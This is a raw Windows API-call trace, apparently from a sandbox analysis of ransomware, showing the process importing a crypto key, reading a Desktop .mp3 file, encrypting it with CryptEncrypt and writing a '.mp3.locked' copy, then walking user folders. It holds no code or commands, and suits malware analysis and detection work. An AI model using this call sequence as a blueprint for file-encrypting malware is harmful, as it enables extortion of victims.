Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.679] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.679] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.679] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.679] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.679] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.679] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.679] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.679] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.679] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.679] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.679] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.679] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.680] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.680] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0127.681] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e02828) returned 1 [0127.681] CryptImportKey (in: hProv=0x8e02828, pbData=0x69a3c68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84b38) returned 1 [0127.681] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.681] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="㭠ښ") returned 0x0 [0127.681] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.682] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.682] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.682] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0127.683] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0127.683] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.683] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.683] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.683] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.684] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.684] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.684] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.684] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.684] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.684] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.684] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.685] GetFileType (hFile=0x868) returned 0x1 [0127.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.685] GetFileType (hFile=0x868) returned 0x1 [0127.685] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.686] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe340\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.686] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.686] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.686] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.686] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", lpFilePart=0x0) returned 0x35 [0127.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.687] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.687] GetFileType (hFile=0x858) returned 0x1 [0127.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.687] GetFileType (hFile=0x858) returned 0x1 [0127.687] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.688] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x69b92fc | out: pbBuffer=0x69b92fc) returned 1 [0127.688] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.688] CryptDuplicateKey (in: hKey=0x8e84b38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae64c | out: phKey=0x99ae64c*=0x8e84f78) returned 1 [0127.688] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.688] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x69ba5b8*=0x1, dwFlags=0x0) returned 1 [0127.688] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x69ba584, dwFlags=0x0) returned 1 [0127.689] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xe280\x99a\x18b2\x7477\x2c30\x438\x242") returned 0x0 [0127.689] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.689] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.689] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.689] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.690] ReadFile (in: hFile=0x868, lpBuffer=0x69bdb14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x69bdb14*, lpNumberOfBytesRead=0x99ae65c*=0x8c0, lpOverlapped=0x0) returned 1 [0127.690] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d1b20*, pdwDataLen=0x99ae650*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x69d1b20*, pdwDataLen=0x99ae650*=0x8c0) returned 1 [0127.690] ReadFile (in: hFile=0x868, lpBuffer=0x69bdb14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x69bdb14*, lpNumberOfBytesRead=0x99ae65c*=0x0, lpOverlapped=0x0) returned 1 [0127.690] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d2404*, pdwDataLen=0x99ae6a4*=0x10, dwBufLen=0x10 | out: pbData=0x69d2404*, pdwDataLen=0x99ae6a4*=0x10) returned 1 [0127.690] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d2438*, pdwDataLen=0x99ae6ac*=0x0, dwBufLen=0x10 | out: pbData=0x69d2438*, pdwDataLen=0x99ae6ac*=0x10) returned 1 [0127.690] WriteFile (in: hFile=0x858, lpBuffer=0x69b93bc*, nNumberOfBytesToWrite=0x8e4, lpNumberOfBytesWritten=0x99ae67c, lpOverlapped=0x0 | out: lpBuffer=0x69b93bc*, lpNumberOfBytesWritten=0x99ae67c*=0x8e4, lpOverlapped=0x0) returned 1 [0127.692] CloseHandle (hObject=0x858) returned 1 [0127.693] CloseHandle (hObject=0x868) returned 1 [0127.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.694] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.694] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.694] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.694] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.695] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0127.695] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ade54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.695] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.695] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.695] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.695] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.695] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.695] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.695] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.695] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.695] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.696] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.696] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.696] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.696] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0127.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99adddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e 